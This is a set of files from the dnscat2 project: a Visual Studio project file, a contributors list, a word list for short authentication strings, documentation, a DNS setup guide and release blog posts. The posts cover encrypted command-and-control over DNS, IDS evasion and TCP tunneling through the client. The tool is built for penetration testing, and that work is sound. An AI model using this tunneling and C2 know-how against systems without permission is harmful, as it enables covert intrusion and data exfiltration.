47 RuntimeLibrary="1"
48 UsePrecompiledHeader="0"
49 WarningLevel="3"
50 Detect64BitPortabilityProblems="false"
51 DebugInformationFormat="4"
52 CallingConvention="0"
53 CompileAs="1"
54 />
55 <Tool
56 Name="VCManagedResourceCompilerTool"
57 />
58 <Tool
59 Name="VCResourceCompilerTool"
60 />
61 <Tool
62 Name="VCPreLinkEventTool"
63 />
64 <Tool
65 Name="VCLinkerTool"
66 AdditionalDependencies="ws2_32.lib dnsapi.lib"
67 LinkIncremental="2"
68 GenerateDebugInformation="true"
69 SubSystem="1"
70 TargetMachine="1"
71 />
72 <Tool
73 Name="VCALinkTool"
74 />
75 <Tool
76 Name="VCManifestTool"
77 />
78 <Tool
79 Name="VCXDCMakeTool"
80 />
81 <Tool
82 Name="VCBscMakeTool"
83 />
84 <Tool
85 Name="VCFxCopTool"
86 />
87 <Tool
88 Name="VCAppVerifierTool"
89 />
90 <Tool
91 Name="VCPostBuildEventTool"
92 />
93 </Configuration>
94 <Configuration
95 Name="Release|Win32"
96 OutputDirectory="$(SolutionDir)$(ConfigurationName)"
97 IntermediateDirectory="$(ConfigurationName)"
98 ConfigurationType="1"
99 UseOfMFC="0"
100 CharacterSet="2"
101 WholeProgramOptimization="1"
102 >
103 <Tool
104 Name="VCPreBuildEventTool"
105 />
106 <Tool
107 Name="VCCustomBuildTool"
108 />
109 <Tool
110 Name="VCXMLDataGeneratorTool"
111 />
112 <Tool
113 Name="VCWebServiceProxyGeneratorTool"
114 />
115 <Tool
116 Name="VCMIDLTool"
117 />
118 <Tool
119 Name="VCCLCompilerTool"
120 Optimization="1"
121 EnableIntrinsicFunctions="true"
122 FavorSizeOrSpeed="2"
123 AdditionalIncludeDirectories="../"
124 PreprocessorDefinitions="WIN32;NDEBUG;_CONSOLE"
125 RuntimeLibrary="0"
126 EnableFunctionLevelLinking="true"
127 UsePrecompiledHeader="0"
128 WarningLevel="3"
129 Detect64BitPortabilityProblems="false"
130 DebugInformationFormat="3"
131 CompileAs="1"
132 />
133 <Tool
134 Name="VCManagedResourceCompilerTool"
135 />
136 <Tool
137 Name="VCResourceCompilerTool"
138 />
139 <Tool
140 Name="VCPreLinkEventTool"
141 />
142 <Tool
143 Name="VCLinkerTool"
144 AdditionalDependencies="ws2_32.lib dnsapi.lib"
145 LinkIncremental="1"
146 GenerateDebugInformation="true"
147 SubSystem="1"
148 OptimizeReferences="2"
149 EnableCOMDATFolding="2"
150 TargetMachine="1"
151 />
152 <Tool
153 Name="VCALinkTool"
154 />
155 <Tool
156 Name="VCManifestTool"
157 />
158 <Tool
159 Name="VCXDCMakeTool"
160 />
161 <Tool
162 Name="VCBscMakeTool"
163 />
164 <Tool
165 Name="VCFxCopTool"
166 />
167 <Tool
168 Name="VCAppVerifierTool"
169 />
170 <Tool
171 Name="VCPostBuildEventTool"
172 />
173 </Configuration>
174 </Configurations>
175 <References>
176 </References>
177 <Files>
178 <Filter
179 Name="Source Files"
180 Filter="cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx"
181 UniqueIdentifier="{4FC737F1-C7A5-4376-A066-2A32D752A2FF}"
182 >
183 <File
184 RelativePath="..\libs\buffer.c"
185 >
186 </File>
187 <File
188 RelativePath="..\drivers\command\command_packet.c"
189 >
190 </File>
191 <File
192 RelativePath="..\drivers\command\commands_standard.h"
193 >
194 </File>
195 <File
196 RelativePath="..\drivers\command\commands_tunnel.h"
197 >
198 </File>
199 <File
200 RelativePath="..\controller\controller.c"
201 >
202 </File>
203 <File
204 RelativePath="..\libs\dns.c"
205 >
206 </File>
207 <File
208 RelativePath="..\dnscat.c"
209 >
210 </File>
211 <File
212 RelativePath="..\drivers\driver.c"
213 >
214 </File>
215 <File
216 RelativePath="..\drivers\command\driver_command.c"
217 >
218 </File>
219 <File
220 RelativePath="..\drivers\driver_console.c"
221 >
222 </File>
223 <File
224 RelativePath="..\tunnel_drivers\driver_dns.c"
225 >
226 </File>
227 <File
228 RelativePath="..\drivers\driver_exec.c"
229 >
230 </File>
231 <File
232 RelativePath="..\drivers\driver_ping.c"
233 >
234 </File>
235 <File
236 RelativePath="..\libs\crypto\encryptor.c"
237 >
238 </File>
239 <File
240 RelativePath="..\libs\ll.c"
241 >
242 </File>
243 <File
244 RelativePath="..\libs\log.c"
245 >
246 </File>
247 <File
248 RelativePath="..\libs\memory.c"
249 >
250 </File>
251 <File
252 RelativePath="..\libs\my_getopt.c"
253 >
254 </File>
255 <File
256 RelativePath="..\controller\packet.c"
257 >
258 </File>
259 <File
260 RelativePath="..\libs\crypto\salsa20.c"
261 >
262 </File>
263 <File
264 RelativePath="..\libs\select_group.c"
265 >
266 </File>
267 <File
268 RelativePath="..\controller\session.c"
269 >
270 </File>
271 <File
272 RelativePath="..\libs\crypto\sha3.c"
273 >
274 </File>
275 <File
276 RelativePath="..\libs\tcp.c"
277 >
278 </File>
279 <File
280 RelativePath="..\libs\types.c"
281 >
282 </File>
283 <File
284 RelativePath="..\libs\udp.c"
285 >
286 </File>
287 <File
288 RelativePath="..\libs\crypto\micro-ecc\uECC.c"
289 >
290 </File>
291 </Filter>
292 <Filter
293 Name="Header Files"
294 Filter="h;hpp;hxx;hm;inl;inc;xsd"
295 UniqueIdentifier="{93995380-89BD-4b04-88EB-625FBE52EBFB}"
296 >
297 <File
298 RelativePath="..\libs\crypto\micro-ecc\asm_arm.inc"
299 >
300 </File>
301 <File
302 RelativePath="..\libs\crypto\micro-ecc\asm_arm_mult_square.inc"
303 >
304 </File>
305 <File
306 RelativePath="..\libs\crypto\micro-ecc\asm_avr.inc"
307 >
308 </File>
309 <File
310 RelativePath="..\libs\crypto\micro-ecc\asm_avr_mult_square.inc"
311 >
312 </File>
313 <File
314 RelativePath="..\libs\buffer.h"
315 >
316 </File>
317 <File
318 RelativePath="..\libs\crypto\byte_order.h"
319 >
320 </File>
321 <File
322 RelativePath="..\drivers\command\command_packet.h"
323 >
324 </File>
325 <File
326 RelativePath="..\controller\controller.h"
327 >
328 </File>
329 <File
330 RelativePath="..\libs\crypto\micro-ecc\curve-specific.inc"
331 >
332 </File>
333 <File
334 RelativePath="..\libs\dns.h"
335 >
336 </File>
337 <File
338 RelativePath="..\drivers\driver.h"
339 >
340 </File>
341 <File
342 RelativePath="..\drivers\command\driver_command.h"
343 >
344 </File>
345 <File
346 RelativePath="..\drivers\driver_console.h"
347 >
348 </File>
349 <File
350 RelativePath="..\tunnel_drivers\driver_dns.h"
351 >
352 </File>
353 <File
354 RelativePath="..\drivers\driver_exec.h"
355 >
356 </File>
357 <File
358 RelativePath="..\drivers\driver_ping.h"
359 >
360 </File>
361 <File
362 RelativePath="..\libs\crypto\encryptor.h"
363 >
364 </File>
365 <File
366 RelativePath="..\libs\crypto\encryptor_sas_dict.h"
367 >
368 </File>
369 <File
370 RelativePath="..\libs\ll.h"
371 >
372 </File>
373 <File
374 RelativePath="..\libs\log.h"
375 >
376 </File>
377 <File
378 RelativePath="..\libs\memory.h"
379 >
380 </File>
381 <File
382 RelativePath="..\libs\my_getopt.h"
383 >
384 </File>
385 <File
386 RelativePath="..\controller\packet.h"
387 >
388 </File>
389 <File
390 RelativePath="..\libs\crypto\micro-ecc\platform-specific.inc"
391 >
392 </File>
393 <File
394 RelativePath="..\libs\pstdint.h"
395 >
396 </File>
397 <File
398 RelativePath="..\libs\crypto\salsa20.h"
399 >
400 </File>
401 <File
402 RelativePath="..\libs\select_group.h"
403 >
404 </File>
405 <File
406 RelativePath="..\controller\session.h"
407 >
408 </File>
409 <File
410 RelativePath="..\libs\crypto\sha3.h"
411 >
412 </File>
413 <File
414 RelativePath="..\libs\tcp.h"
415 >
416 </File>
417 <File
418 RelativePath="..\tunnel_drivers\tunnel_driver.h"
419 >
420 </File>
421 <File
422 RelativePath="..\libs\types.h"
423 >
424 </File>
425 <File
426 RelativePath="..\libs\crypto\micro-ecc\types.h"
427 >
428 </File>
429 <File
430 RelativePath="..\libs\udp.h"
431 >
432 </File>
433 <File
434 RelativePath="..\libs\crypto\micro-ecc\uecc.h"
435 >
436 </File>
437 <File
438 RelativePath="..\libs\crypto\micro-ecc\uECC_vli.h"
439 >
440 </File>
441 <File
442 RelativePath="..\libs\crypto\ustd.h"
443 >
444 </File>
445 </Filter>
446 <Filter
447 Name="Resource Files"
448 Filter="rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav"
449 UniqueIdentifier="{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}"
450 >
451 </Filter>
452 </Files>
453 <Globals>
454 </Globals>
455 </VisualStudioProject>
0 This is a list of folks who have contributed to the project in some way!
1 If you aren't on here and think you should be, please drop me a line,
2 file a bug, or just send a pull request. :)
3
4 * [Ron Bowes](https://github.com/iagox86) - Me! The lead developer.
5 * [Irvin Zhan](https://github.com/izhan)
6 * [Bram Mittendorff](https://github.com/brammittendorff)
7 * [Fox0x01](https://github.com/Fox0x01)
8 * [Jon Cave](https://github.com/joncave)
0 Abate
1 Absorb
2 Ache
3 Acidy
4 Across
5 After
6 Alike
7 Amount
8 Amuse
9 Annoy
10 Annuls
11 Ardent
12 Ascot
13 Bait
14 Barons
15 Barret
16 Bask
17 Becurl
18 Befool
19 Bell
20 Bifold
21 Bogie
22 Boxen
23 Bozo
24 Broke
25 Bulby
26 Bunny
27 Calmly
28 Canary
29 Cargo
30 Chirp
31 Chroma
32 Cleft
33 Coke
34 Column
35 Comely
36 Cometh
37 Convoy
38 Corn
39 Cough
40 Cruxes
41 Cued
42 Darter
43 Dash
44 Dating
45 Deadly
46 Deaf
47 Decade
48 Deepen
49 Depict
50 Domed
51 Dorper
52 Drafts
53 Dried
54 Duff
55 Durian
56 Early
57 Easily
58 Eggars
59 Emboss
60 Emit
61 Encode
62 Ennui
63 Envied
64 Essay
65 Evites
66 Evoke
67 Exotic
68 Facile
69 Fate
70 Feisty
71 Fewest
72 Fifty
73 Filth
74 Finer
75 Fished
76 Flacks
77 Flaunt
78 Fleecy
79 Flied
80 Foams
81 Foxes
82 Freely
83 Frozen
84 Genome
85 Gibbon
86 Gifts
87 Giving
88 Gold
89 Gone
90 Gouge
91 Grocer
92 Grows
93 Half
94 Handle
95 Harold
96 Harp
97 Hedges
98 Hither
99 Hobbit
100 Hobble
101 Hoods
102 Hooked
103 Horror
104 Horsed
105 Hound
106 Huns
107 Ices
108 Impish
109 Jiber
110 Jiggy
111 Kelpy
112 Keyman
113 Khan
114 Killer
115 Klutzy
116 Lair
117 Lashes
118 Libate
119 Liming
120 Lonely
121 Looks
122 Lordy
123 Lush
124 Mailer
125 Maps
126 Mayo
127 Mcgill
128 Mona
129 Motive
130 Mousy
131 Neigh
132 Ninjas
133 Nodule
134 Nuns
135 Obese
136 Olive
137 Omelet
138 Omen
139 Otto
140 Outran
141 Ouzo
142 Owls
143 Papism
144 Parrot
145 Peace
146 Pearly
147 Peaty
148 Pedal
149 Pegged
150 Petals
151 Phials
152 Pianos
153 Pierce
154 Pigs
155 Pikey
156 Pitch
157 Plato
158 Plays
159 Plight
160 Poetic
161 Poker
162 Polite
163 Pontic
164 Pony
165 Powers
166 Poxes
167 Prams
168 Pulped
169 Purr
170 Push
171 Quint
172 Random
173 Rapier
174 Ravel
175 Real
176 Rebolt
177 Recoil
178 Redear
179 Reink
180 Ripe
181 Riprap
182 Roger
183 Ropers
184 Roving
185 Rumor
186 Sanded
187 Sawlog
188 Sawman
189 Scribe
190 Scruff
191 Seitan
192 Sense
193 Shirks
194 Sippy
195 Sitcom
196 Slumpy
197 Softy
198 Sonar
199 Sonny
200 Sophic
201 Spear
202 Spiced
203 Spikey
204 Spine
205 Spoofy
206 Spring
207 Static
208 Staved
209 Stilt
210 Stinty
211 Stirs
212 Storer
213 Story
214 Strode
215 Stump
216 Suited
217 Surfs
218 Swatch
219 Swum
220 Tables
221 Taking
222 Tattoo
223 Teal
224 Teeth
225 Telco
226 Timer
227 Tins
228 Tonite
229 Tore
230 Tort
231 Tried
232 Trivia
233 Tubule
234 Tusked
235 Twins
236 Twos
237 Unborn
238 Undam
239 Unwrap
240 Upcurl
241 Upseal
242 Visas
243 Volume
244 Waded
245 Wages
246 Ware
247 Wears
248 Wicked
249 Winful
250 Wisely
251 Wisp
252 Yerba
253 Zester
254 Zoner
255 Zootic
0 There are enough documentation files that it's getting out of hand. So
1 here they are!
2
3 # User documents
4
5 ## [README.md](/README.md)
6
7 The main usage documentation.
8
9 ## [changelog.md](changelog.md)
10
11 The changelog.
12
13 ## [authoritative_dns_setup.md](authoritative_dns_setup.md)
14
15 Instructions on how to set up an authoritative nameserver.
16
17 # Architecture / developer documents
18
19 ## [contributing.md](contributing.md)
20
21 The place to start if you're thinking about contributing to dnscat2, or
22 even if you're just interested in learning about the structure and
23 design decisions in the code.
24
25 Most of the documents below are created to support contributing.md.
26
27 ## [protocol.md](protocol.md)
28
29 The dnscat2 protocol (both the tunnel protocol and the dnscat2 protocol,
30 right now).
31
32 ## [command_protocol.md](command_protocol.md)
33
34 The sub-protocol used for commands.
35
36 ## [client_architecture.md](client_architecture.md)
37
38 The structure, design decisions, libraries, and everything else you need
39 to understand the client in full.
40
41 ## [server_architecture.md](server_architecture.md)
42
43 The structure, design decisions, libraries, and everything else you need
44 to understand the server in full.
45
46 # Developer / process docs
47
48 ## [how_to_do_a_release.md](how_to_do_a_release.md)
49
50 The steps I take when I perform a release.
51
52 ## [adding_a_driver.md](adding_a_driver.md)
53
54 How to create a driver on the client. I'm not entirely sure this is up
55 to date.
0 This is intended to be a quick guide / reference on how you can write
1 your own i/o drivers for dnscat2! To give you an idea of what they can
2 do, here are some examples of i/o drivers:
3
4 - Console (turned on with --console, lets users type messages to the
5 server)
6 - Exec (turned on with --exec, tunnels i/o to/from a process)
7 - Command (default; an interactive session that can spawn other
8 sessions)
9
10 This guide is about how to add others!
11
12 Here are the steps:
13 - Update drivers/driver.(c|h) to add simple wrappers to handle the
14 driver type (discount polymorphism)
15 - Create a .c and .h file that implement the following methods:
16 - driver_XXX_t \*driver_XXX_create(select_group_t \*group);
17 - void driver_XXX_destroy(driver_XXX_t \*driver);
18 - void driver_XXX_data_received(driver_XXX_t \*driver, uint8_t \*data, size_t length);
19 - uint8_t \*driver_XXX_get_outgoing(driver_XXX_t \*driver, size_t \*length, size_t max_length);
20 - void driver_XXX_close(driver_XXX_t \*driver);
21 - Add the .o for the driver to the Makefile under OBJS
22 - Add the following function to controller/session.(c|h):
23 - session_t \*session_create_XXX(select_group_t \*group, char \*name)
24 - If it's a sub-protocol - that is, anything that the server needs to handle in a special way - be sure to set some SYN options that the server will see
25 - Make it possible to create the driver
26 - Update main() in dnscat.c with commandline options to create the driver (don't forget to update 'usage'!)
27 - Update driver_command.c with the ability to create instances of it
0 # Authoritative DNS Server Setup
1
2 dnscat2 runs in two modes — through a direct connection to your server, and through the DNS hierarchy. The second mode requires you to make your server an authoritative DNS server, which traditionally handles the DNS query and converts the url to an IP address.
3
4 # Setup on Namecheap
5
6 Before you start, you will need a server that is running dnscat2 and a domain name that you own. For our example, let's suppose our dnscat2 server has an IP address of 42.42.42.42 and our domain name is "company"
7
8 We will go through setting up an authoritative DNS server on Namecheap, a popular domain registrar. Other services such as GoDaddy have a similar setup process.
9
10 ### Step 1: Sign in
11
12 ![Sign in](http://i.imgur.com/LILdHvC.png)
13
14 ### Step 2: Click on the "manage" button for your domain
15
16 ![Manage button](http://i.imgur.com/MqviES4.png)
17
18 ### Step 3: Click "Advanced DNS" on the left site of the domain navbar
19
20 ![Advanced DNS](http://i.imgur.com/dLxn3oe.png)
21
22 ### Step 4: Click the "EDIT" button on the right of "Domain Nameserver Type"
23
24 Remember to set this to Custom!
25
26 ![Domain Nameserver Type](http://i.imgur.com/TNSKC8V.png)
27
28 ### Step 5: After seting the Server Type to custom fill in the details of your nameservers
29
30 ![Custom Server Type](http://i.imgur.com/FiL8dtM.png)
31
32 ### Step 6: Now it is time to add your personal DNS servers so click the button "ADD NEW" to the right
33
34 ![Adding personal DNS servers](http://i.imgur.com/nKhautV.png)
35
36 ### Step 7: Click the custom button twice and fill in your DNS details
37
38 Don't forget to click on the "Save Changes" button
39
40 ![Adding personal DNS servers](http://i.imgur.com/pBZ5lrU.png)
41
42 You may verify that your authoritative DNS server is correctly setup by running `sudo nc -vv -l -u -p53` on your dnscat2 server, and then sending a DNS query for your domain name. If your server detects a UDP packet, then you have successfully setup your authoritative DNS server!
0 As I promised during my 2014 Derbycon talk (amongst other places), this is an initial release of my complete re-write/re-design of the dnscat service / protocol. It's now a standalone tool instead of being bundled with nbtool, among other changes. :)
1
2 I'd love to have people testing it, and getting feedback is super important to me! Even if you don't try this version, hearing that you're excited for a full release would be awesome. The more people excited for this, the more I'm encouraged to work on it! In case you don't know it, my email address is listed below in a couple places.
3 <!--more-->
4 <h2>Where can I get it?</h2>
5
6 Here are some links:
7 <li> <a href='https://github.com/iagox86/dnscat2/tree/v0.01'>Sourcecode on github</a> (<a href='https://github.com/iagox86/dnscat2'>HEAD sourcecode</a>)</li>
8 <li> <a href='https://downloads.skullsecurity.org/dnscat2/'>Downloads</a> (you'll find <a href='https://downloads.skullsecurity.org/ron.pgp'>signed</a> Linux 32-bit, Linux 64-bit, Win32, and source code versions of the client, plus an archive of the server&mdash;keep in mind that that signature file is hosted on the same server as the files, so if you're worried, please verify :) )</li>
9 <li> <a href='https://github.com/iagox86/dnscat2/blob/v0.01/README.md'>User documentation</a></li>
10 <li> <a href='https://github.com/iagox86/dnscat2/blob/v0.01/doc/protocol.md'>Protocol</a> and <a href='https://github.com/iagox86/dnscat2/blob/v0.01/doc/command_protocol.md'>command protocol</a> documents (as a user, you probably don't need these)</li>
11 <li> <a href='https://github.com/iagox86/dnscat2/issues'>Issue tracker</a> (you can also email me issues, just put my first name (ron) in front of my domain name (skullsecurity.net))</li>
12
13 <h2>Wait, what happened to dnscat1?</h2>
14
15 I designed dnscat1 to be similar to netcat; the client and server were the same program, and you could tunnel both ways. That quickly became complex and buggy and annoying to fix. It's had unresolved bugs for years! I've been promising a major upgrade for years, but I wanted it to be reasonably stable/usable before I released anything!
16
17 Since generic TCP/IP DNS tunnels have been done (for example, by <a href='http://code.kryo.se/iodine/'>iodine</a>), I decided to make dnscat2 a little different. I target penetration testers as users, and made the server more of a command &amp; control-style service. For example, an old, old version of dnscat2 had the ability to proxy data through the client and out the server. I decided to remove that code because I want the server to be runnable on a trusted network.
18
19 Additionally, unlike dnscat1, dnscat2 uses a separate client and server. The client is still low-level portable C code that should run anywhere (tested on 32- and 64-bit Linux, Windows, FreeBSD, and OS X). The server is now higher-level Ruby code that requires Ruby and a few libraries (I regularly use it on Linux and Windows, but it should run anywhere that Ruby and the required gems runs). That means I can quickly and easily add functionality to the server while implementing relatively simple clients.
20
21 <h2>How can I help?</h2>
22
23 The goal of this release is primarily to find bugs in compilation, usage, and documentation. Everything <em>should</em> work on all 32- and 64-bit versions of Linux, Windows, FreeBSD, and OS X. If you get it working on any other systems, let me know so I can advertise it!
24
25 I'd love to hear from anybody who successfully or unsuccessfully tried to get things going. Anything from what you liked, what you didn't like, what was intuitive, what was unintuitive, where the documentation was awesome, where the documentation sucked, what you like about my face, what you hate about my face&mdash;anything at all! Seriously, if you get it working, email me&mdash;knowing that people are using it is awesome and motivates me to do more. :)
26
27 For feedback, my email address is my first name (ron) at my domain (skullsecurity.net). If you find any bugs or have any feature requests, the best place to go is my <a href='https://github.com/iagox86/dnscat2/issues'>Issue tracker</a>.
28
29 <h2>What's the future hold?</h2>
30
31 I've spent a lot of time on stability and bugfixes recently, which means I haven't been adding features. The two major features that I plan to add are:
32
33 <ul>
34 <li>TCP proxying - basically, creating a tunnel that exits through the client</li>
35 <li>Shellcode - a x86/x64 implementation of dnscat for Linux and/or Windows</li>
36 </ul>
37
38 Once again, I'd love feedback on which you think is more important, and if you're excited to get shellcode, then which architecture/OS that I should prioritize. :)
0 Hey everybody,
1
2 Live from the <a href='https://www.sans.org/event/pen-test-hackfest-2015'>SANS Pentest Summit</a>, I'm excited to announce the latest beta release of dnscat2: <a href='https://github.com/iagox86/dnscat2/releases/tag/v0.04'>0.04</a>! Besides some minor cleanups and UI improvements, there is one serious improvement: all dnscat2 sessions are now encrypted by default!
3
4 Read on for some user information, then some implementation details for those who are interested! For all the REALLY gory information, check out the <a href='https://github.com/iagox86/dnscat2/blob/master/doc/protocol.md#encryption--signing'>protocol doc</a>!
5 <!--more-->
6 <h2>Tell me what's new!</h2>
7
8 By default, when you start a dnscat2 client, it now performs a key exchange with the server, and uses a derived session key to encrypt all traffic. This has the <em>huge</em> advantage that passive surveillance and IDS and such will no longer be able to see your traffic. But the disadvantage is that it's vulnerable to a man-in-the-middle attack - assuming somebody takes the time and effort to perform a man-in-the-middle attack against dnscat2, which would be awesome but seems unlikely. :)
9
10 By default, all connections are encrypted, and the server will refuse to allow cleartext connections. If you start the server with <tt>--security=open</tt> (or run <tt>set security=open</tt>), then the client decides the security level - including cleartext.
11
12 If you pass the server a --secret string (see below), then the server will require clients to authenticate using the same --secret value. That can be turned off by using <tt>--security=open</tt> or <tt>--security=encrypted</tt> (or the equivalent set commands).
13
14 Let's look at the man-in-the-middle protection...
15
16 <h3>Short authentication strings</h3>
17
18 First, by default, a short authentication string is displayed on both the client and the server. Short authentication strings, inspired by <a href='https://en.wikipedia.org/wiki/ZRTP#Authentication'>ZRTP and Silent Circle</a>, are a visual way to tell if you're the victim of a man-in-the-middle attack.
19
20 Essentially, when a new connection is created, the user has to manually match the short authentication strings on the client and the server. If they're the same, then it's a legit connection. Here's what it looks like on the client:
21
22 <pre>
23 Encrypted session established! For added security, please verify the server also displays this string:
24
25 Tort Hither Harold Motive Nuns Unwrap
26 </pre>
27
28 And the server:
29
30 <pre>
31 New window created: 1
32 Session 1 security: ENCRYPTED BUT *NOT* VALIDATED
33 For added security, please ensure the client displays the same string:
34
35 &gt;&gt; Tort Hither Harold Motive Nuns Unwrap
36 </pre>
37
38 There are 256 different possible words, so six words gives 48 bits of protection. While a 48-bit key can eventually be bruteforced, in this case it has to be done in real time, which is exceedingly unlikely.
39
40 <h3>Authentication</h3>
41
42 Alternatively, a pre-shared secret can be used instead of a short authentication string. When you start the server, you pass in a --secret value, such as <tt>--secret=pineapple</tt>. Clients with the same secret will create an authenticator string based on the password and the cryptographic keys, and send it to the server, encrypted, after the key exchange. Clients that use the wrong key will be summarily rejected.
43
44 Details on how this is implemented are below.
45
46 <h2>How stealthy is it?</h2>
47
48 To be perfectly honest: not completely.
49
50 The key exchange is pretty obvious. A 512-bit value has to be sent via DNS, and a 512-bit response has to come back. That's pretty big, and stands out.
51
52 After that, every packet has an unencrypted 40-bit (5-byte) header and an unencrypted 16-bit (2-byte) nonce. The header contains three bytes that don't really change, and the nonce is incremental. Any system that knows to look for dnscat2 will be able to find that.
53
54 It's conceivable that I could make this more stealthy, but anybody who's already trying to detect dnscat2 traffic will be able to update the signatures that they would have had to write anyway, so it becomes a cat-and-mouse game.
55
56 Of course, that doesn't stop people from patching things. :)
57
58 The plus side, however, is that none of your data leaks! And somebody would have to be specifically looking for dnscat2 traffic to recognize it.
59
60 <h2>What are the hidden costs?</h2>
61
62 Encrypted packets have 64 bits (8 bytes) of extra overhead: a 16-bit (two-byte) nonce and a 48-bit (six-byte) signature on each packet. Since DNS packets have between 200 and 250 bytes of payload space, that means we lose ~4% of our potential bandwidth.
63
64 Additionally, there's a key exchange packet and potentially an authentication packet. That's two extra roundtrips over a fairly slow protocol.
65
66 Other than that, not much changes, really. The encryption/decryption/signing/validation are super fast, and it uses a stream cipher so the length of the messages don't change.
67
68 <h2>How do I turn it off?</h2>
69
70 The server always supports crypto; if you don't WANT crypto, you'll have to manually hack the server or use a version of dnscat2 server &lt;=0.03. But you'll have to manually turn off encryption in the client; otherwise, the connection fail.
71
72 Speaking of turning off encryption in the client: you can compile without encryption by using <tt>make nocrypto</tt>. You can also disable encryption at runtime with <tt>dnscat2 --no-encryption</tt>. On Visual Studio, you'll have to define "NO_ENCRYPTION". Note that the server, by default, won't allow either of those to connect unless you start it with <tt>--security=open</tt>.
73
74 <h2>Give me some technical details!</h2>
75
76 Your best bet if you're <em>REALLY</em> curious is to check out <a href='https://github.com/iagox86/dnscat2/blob/master/doc/protocol.md#encryption--signing'>the protocol doc</a>, where I document the protocol in full.
77
78 But I'll summarize it here. :)
79
80 The client starts a session by initiating a key exchange with the server. Both sides generate a random, 256-bit private key, then derive a public key using Elliptic Curve Diffie Hellman (ECDH). The client sends the public key to the server, the server sends a public key to the client, and they both agree on a shared secret.
81
82 That shared secret is hashed with a number of different values to derive purpose-specific keys - the client encryption key, the server encryption key, the client signing key, the server signing key, etc.
83
84 Once the keys are agreed upon, all packets are encrypted and signed. The encryption is salsa20 and uses one of the derived keys as well as an incremental nonce. After being encrypted, the encrypted data, the nonce, and the packet header are signed using SHA3, but truncated to 48 bits (6 bytes). 48 bits isn't very long for a signature, but space is at an extreme premium and for most attacks it would have to be broken in real time.
85
86 As an aside: I really wanted to encrypt the header instead of just signing it, but because of protocol limitations, that's simply not possible (because I have no way of knowing which packets belong to which session, the session_id has to be plaintext).
87
88 Immediately after the key exchange, the client optionally sends an authenticator over the encrypted session. The authenticator is based on a pre-shared secret (passed on the commandline) that the client and server pre-arrange in some way. That secret is hashed with both public keys and the secret (derived) key, as well as a different static string on the client and server. The client sends their authenticator to the server, and the server sends their authenticator to the client. In that way, both sides verify each other without revealing anything.
89
90 If the client doesn't send the authenticator, then a short authentication string is generated. It's based on a very similar hash to the authenticator, except without the pre-shared secret. The first 6 bytes are converted into words using a list of 256 English words, and are displayed on the screen. It's up to the user to verify them.
91
92 Because the nonce is only 16 bits, only 65536 roundtrips can be performed before running out. As such, the client may, at its own discretion (but before running out), initiate a new key exchange. It's identical to the original key exchange, except that it happens in a signed and encrypted packet. After the renegotiation is finished, both the client and server switch their nonce values back to 0 and stop accepting packets with the old keys.
93
94 And... that's about it! Keys are exchanged, an authenticator is sent or a short authentication string is displayed, all messages are signed and encrypted, and that's that!
95
96 <h2>Challenges</h2>
97
98 A few of the challenges I had to work through...
99
100 <ul>
101 <li>Because DNS has no concept of connections/sessions, I had to expose more information that I wanted in the packets (and because it's extremely length-limited, I had to truncate signatures)</li>
102 <li>I had originally planned to use Curve25519 for the key exchange, but there's no Ruby implementation</li>
103 <li>Finding a C implementation of ECC that doesn't require libcrypto or libssl was really hard</li>
104 <li>Finding a <em>working</em> SHA3 implementation in Ruby was impossible! I filed bugs against the three more popular implementations and <a href='https://github.com/johanns/sha3'>one of them</a> actually <a href='https://github.com/johanns/sha3/issues/6'>took the time to fix it</a>!</li>
105 <li>Dealing with DNS's gratuitous retransmissions and accidental drops was super painful and required some hackier code than I like to see in crypto (for example, an old key can still be used, even after a key exchange, until the new one is used successfully; the more secure alternative can't handle a dropped response packet, otherwise both peers would have different keys)</li>
106 </ul>
107
108 <h2>Shouts out</h2>
109
110 I just wanted to do a quick shout out to a few friends who really made this happen by giving me advice, encouragement, or just listening to me complaining.
111
112 So, in alphabetical order so nobody can claim I play favourites, I want to give mad propz to:
113
114 <ul>
115 <li><a href='https://twitter.com/alexwebr'>Alex Weber</a>, who notably convinced me to use a proper key exchange protocol instead of just a static key (and who also wrote the <a href='https://github.com/alexwebr/salsa20'>Salsa20 implementation I used</a></li>
116 <li><a href='https://twitter.com/bmenrigh'>Brandon Enright</a>, who give me a ton of handy crypto advice</li>
117 <li><a href='https://twitter.com/ericgershman'>Eric Gershman</a>, who convinced me to work on encryption in the first place, and who listened to my constant complaining about how much I hate implementing crypto</li>
118 </ul>
119
0 Greetings, and I hope you're all having a great holiday!
1
2 My Christmas present to you, the community, is dnscat2 version 0.05!
3
4 Some of you will remember that I recently <a href='https://docs.google.com/presentation/d/1Jxh6PPO9JbUqXwOCTQFyA00uQoFMDBh-1PedDOp1Z0Y'>gave a talk</a> at the SANS Hackfest Summit. At the talk, I mentioned some ideas for future plans. That's when <a href='https://twitter.com/edskoudis'>Ed</a> jumped on the stage and took a survey: which feature did the audience want most?
5
6 The winner? Tunneling TCP via a dnscat. So now you have it! Tunneling: Phase 1. :)
7
8 <a href='https://github.com/iagox86/dnscat2/releases/tag/v0.05'>Info and downloads</a>.
9 <!--more-->
10
11 <h2>High-level</h2>
12
13 There isn't a ton to say about this feature, so this post won't be particularly long. I'll give a quick overview of how it works, how to use it, go into some quick implementation details, and, finally, talk about my future plans.
14
15 On a high level, this works exactly like ssh with the <tt>-L</tt> argument: when you set up a port forward in a dnscat2 session, the dnscat2 server will listen on a specified port. Say, port 2222. When a connection arrives on that port, the connection will be sent - via the dnscat2 session and out the dnscat2 client - to a specified server.
16
17 That's pretty much all there is to it. The user chooses which ports to listen on, and which server/port to connect to, and all connections are forwarded via the tunnel.
18
19 Let's look at how to use it!
20
21 <h2>Usage</h2>
22
23 Tunneling must be used within a dnscat2 session. So first you need one of those, no special options required:
24
25 <pre>
26 (server)
27
28 # ruby ./dnscat2.rb --auto-attach --packet-trace
29 New window created: 0
30
31 [...]
32
33 dnscat2&gt;
34 </pre>
35
36 <pre>
37 (client)
38
39 $ ./dnscat --dns="server=localhost,port=53"
40 Creating DNS driver:
41 domain = (null)
42 host = 0.0.0.0
43 port = 53
44 type = TXT,CNAME,MX
45 server = localhost
46
47 Encrypted session established! For added security, please verify the server also displays this string:
48
49 Encode Surfs Taking Spiced Finer Sonny
50
51 Session established!
52 </pre>
53
54 We, of course, take the opportunity to validate the six words - "Encode Surfs Taking Spiced Finer Sonny" - to make sure nobody is performing a man-in-the-middle attack against us (considering this is directly to localhost, it's probably okay :) ).
55
56 Once you have a session set up, you want to tell the session to listen with the <tt>listen</tt> command:
